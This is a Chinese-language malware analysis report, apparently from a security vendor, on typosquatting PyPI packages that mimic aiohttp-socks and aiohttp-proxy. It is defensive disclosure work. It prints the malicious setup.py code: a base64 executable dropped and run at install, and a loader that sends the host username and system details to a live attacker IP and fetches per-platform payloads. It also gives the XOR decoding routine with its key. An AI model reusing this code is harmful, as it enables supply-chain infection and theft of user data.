2022年3月9日,天问Python供应链威胁监测模块捕获到一个typosquatting攻击aiohttp-proxy的恶意Python包aiohttp-proxies,这是天问自2月21日以来第三次监测到类似攻击手法,前两次攻击为知名包aiohttp-socks的typosquatting恶意包aiohttp-socks4和aiohttp-socks5,经过分析之后我们迅速向官方提交了恶意包链接,目前所有包均被官方确认并移除。攻击包出现及被移除的时间轴如下所示。

aiohttp-socks5

攻击者于2022年2月21晚上传首个版本0.7.1,其代码内容全部复制知名包aiohttp-socks,且其在setup.py中引用aiohttp-socks的官方Github链接,使其更具有迷惑性。同晚,攻击者上传恶意版本0.8.1-0.8.5,除复制知名包的代码以外,攻击者在setup.py内写入字符串“metadata”,当用户安装恶意包时会释放可执行文件pip_installer.exe并执行。如下所示(metadata仅截取部分内容)。

1
2
3
4
5
6
7
8
9
metadata = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABLuc'

from base64 import b64decode
with open('pip_installer.exe', 'wb') as f:
f.write(b64decode(metadata))

from subprocess import call

call('./pip_installer.exe')

pip_installer.exe 分析报告

0x0 基本信息

文件名:pip_installer.exe

文件类型:PE32+ executable (GUI) x86-64, for MS Windows

CRC32: C7A21554
MD5: 3A95EAB6064739835EB935E0A5D44021
SHA-1: 608AECB603CA4DDD15CDB8EDE15890EB8637286A
SHA-256: 2962861B1EDF9F4736F060440376D7AF47593D9DD31E44B74E44411139882300
SHA-512: A2775910277EE1FF4E0BE7042E717FF09C282257272509B606AED1BB3F97C536BA9C0D190079B36A001BD7758BBB43686A15364848C69F9CD2EDD45A306FF0EB

0x1 运行逻辑

该样本的实质是一个loader,其主要逻辑如下:

image-20220311163238073

首先,创建文件 C:\ProgramData\774ab55440.exe ,后通过异或算法解密数据段中的加密PE文 件,将解密后的代码写入774ab55440.exe 文件中,完成EXE文件落地,最后通过调用 ShellExecuteA 函数启动子进程。

异或算法逻辑还原如下图所示。

文件名:774ab55440b.exe

文件类型:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

CRC32: 75400508
MD5: 7FE5011E10D3AE6A3E670963B3798FCE
SHA-1: 9BC220C80D811F3762802728C4651172318B9DE3
SHA-256: 13F0F253EAD44166CFD35ACD2C84490A03E695E89C9F3211DF3A7B0B22A8B8B4
SHA-512: 2EA4DD2DF10EE6F55CC0D5E6375F52A5B5E1A49F4C60DBBBCEF1639D7CDB12B7582526775887F1359550E7B9A6A2F7D446632D09426C528C868CED1A85726592

子进程沙箱分析报告:天穹动态分析沙箱 | 分析报告

在0.8.5版本之后,攻击者后续上传了10余个支持检测操作系统的版本,并将敏感信息回传至 hxxp://114[.]24.115.170:8080,如下所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = base64.b64encode(bytes(f'{os.getlogin()}&{plat_def()}-{plat.release}&{plat.node}&{plat.processor}', 'utf-8')).decode('utf-8')
sets = json.loads(urllib3.PoolManager().request('GET', f'http://144.24.115.170:8080/info?data={data}').data.decode('utf-8'))
if sets['first_run'] != True:
sys.exit(1)
else:
if plat_def() == 'Termux':
exp = base64.b64decode(bytes(sets['payloads']['termux'], 'utf-8')).decode('utf-8')
get_modules('termux')
elif plat_def() == 'Windows':
if win_protect() == False:
sys.exit(0)
else:
exp = base64.b64decode(bytes(sets['payloads']['windows'], 'utf-8')).decode('utf-8')
get_modules('windows')
elif plat_def() == 'Mac':
exp = base64.b64decode(bytes(sets['payloads']['mac'], 'utf-8')).decode('utf-8')
get_modules('mac')
else:
exp = base64.b64decode(bytes(sets['payloads']['linux'], 'utf-8')).decode('utf-8')
get_modules('linux')

for module in mti:
if plat_def == 'Windows':
subprocess.call(f'pip3 install {module}', creationflags=0x08000000, shell=True)
else:
subprocess.call(f'pip3 install {module}', stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, shell=True)

aiohttp-socks4

攻击者在aiohttp-socks5被删除三天后2022年3月1日凌晨上传恶意包aiohttp-socks4,其版本号从0.8.24开始,延续aiohttp-socks5被删除之前的最后一个版本0.8.23,其主要行为与aiohttp-socks5相同——将可执行文件通过base64编码写入setup.py并在检测版本之后将敏感信息回传。

aiohttp-proxies

攻击者在2022年3月9日卷土重来,上传恶意包aiohttp-proxies,其setup.py内代码与前两次攻击大致相同,但其对exe文件进行了更新,具体信息如下所示。

executable45.exe 分析报告

0x0 基本信息

文件名:executable45.exe

文件类型:PE32+ executable (GUI) x86-64, for MS Windows

CRC32: 899AD56B
MD5: 4AD0DC65BDEAAB4F1F51AAEDBF5A8537
SHA-1: 875D63689DC302897C866F1156FF108E6C38CBD9
SHA-256: 1BD755D8E0623B4F391E55BF1334683F3EE15019FC2CAE2DF2F59715C26E7940
SHA-512: D4751AD46A74CDE18A50BC58F2D641C4F7C8637937B06DB31B20154DD4136A6B70420ED46D24D52F2C6AAF8B52F8FB20895AC597526400BA23A3338FCF48FC2A

0x1 运行逻辑

该样本是样本pip_installer.exe的一个变种,其核心逻辑完全一致,实质为一个loader,落地释放并运行C:\\ProgramData\\e51c15bb931c8.exe文件

image-20220311161819882

异或算法逻辑还原如下:

1
2
3
4
5
6
void xor_decode(QWORD *key, CHAR *buf, int BufSize)
{
char keyStr[10] = "yqoUFqQEin";
for (int i = 0; i < BufSize; ++i )
buf[i] ^= keyStr[i % 10];
}

此外值得注意的是,攻击者新加入了大量调用MessageBeep等win32函数的逻辑以达到延时效果,来躲避沙箱分析。

解密后得到文件e51c15bb931c8.exe的详细内容:

文件名:e51c15bb931c8.exe

文件类型:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

CRC32: 4902BA76
MD5: CFEEA21674B2A015512DD3D77D5A9DB4
SHA-1: 49AEF5F38DE920A752EEBA01817314467A1A4396
SHA-256: A780D5976926F0DD2D9AA7AEBD5AA30B44A9431C4E47488F8A463B04C16104F9
SHA-512: 2797EEF6B80EDCEB3D339284485FEFDAA9D541E44D121F554BE5C913366087AD4F64CCD9030999CB2675C2EE54A8D81C2FBE88FBBE653CD64D0A75AFCE64F935

子进程沙箱分析报告:天穹动态分析沙箱 | 分析报告

攻击影响力

攻击者这几次选择typosquatting的都是知名包,这些包及恶意包周下载量如下所示。

包名 周下载量
aiohttp-proxy (正常包) 2813
aiohttp-proxies (恶意包) 323
aiohttp-socks (正常包) 42879
aiohttp-socks5 (恶意包) 684
aiohttp-socks4 (恶意包) 313

幸运的是,在正常包后面添加多余版本号的typosquatting行为(socks4、socks5)并没有起到很好的混淆作用,受攻击的用户也仅在1%左右。